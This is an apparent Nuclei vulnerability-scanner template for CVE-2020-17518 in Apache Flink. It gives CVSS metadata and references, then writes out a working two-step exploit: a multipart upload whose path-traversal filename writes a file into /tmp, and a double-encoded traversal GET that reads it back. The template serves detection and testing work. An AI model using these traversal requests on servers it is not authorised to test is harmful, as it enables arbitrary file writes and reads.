2021-01-06 17:38:45 +00:00
id : CVE-2020-17518
info :
2022-07-26 13:45:11 +00:00
name : Apache Flink 1.5.1 - Local File Inclusion
2021-04-06 06:46:11 +00:00
author : pdteam
2021-09-10 11:26:40 +00:00
severity : high
2021-03-11 14:25:31 +00:00
description : |
2022-07-26 13:45:11 +00:00
Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
2022-04-22 10:38:41 +00:00
reference :
- https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
2022-05-17 09:18:12 +00:00
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.5
2021-09-10 11:26:40 +00:00
cve-id : CVE-2020-17518
cwe-id : CWE-22
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
epss-score : 0.97462
2022-09-01 10:51:29 +00:00
tags : lfi,flink,fileupload,vulhub,cve,cve2020,apache,intrusive
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2022-09-01 10:51:29 +00:00
2021-01-06 17:38:45 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-01-06 17:38:45 +00:00
- raw :
- |
POST /jars/upload HTTP/1.1
Host : {{Hostname}}
Accept : */*
Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
2021-01-07 18:49:39 +00:00
2021-01-06 17:38:45 +00:00
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition : form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
2021-01-07 18:49:39 +00:00
2021-01-06 17:38:45 +00:00
test-poc
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
- method : GET
path :
- '{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc'
matchers :
- type : dsl
dsl :
2021-03-24 23:28:50 +00:00
- 'contains(body, "test-poc") && status_code == 200' # Using CVE-2020-17519 to confirm this.
2022-07-26 13:45:11 +00:00
# Enhanced by mp on 2022/07/13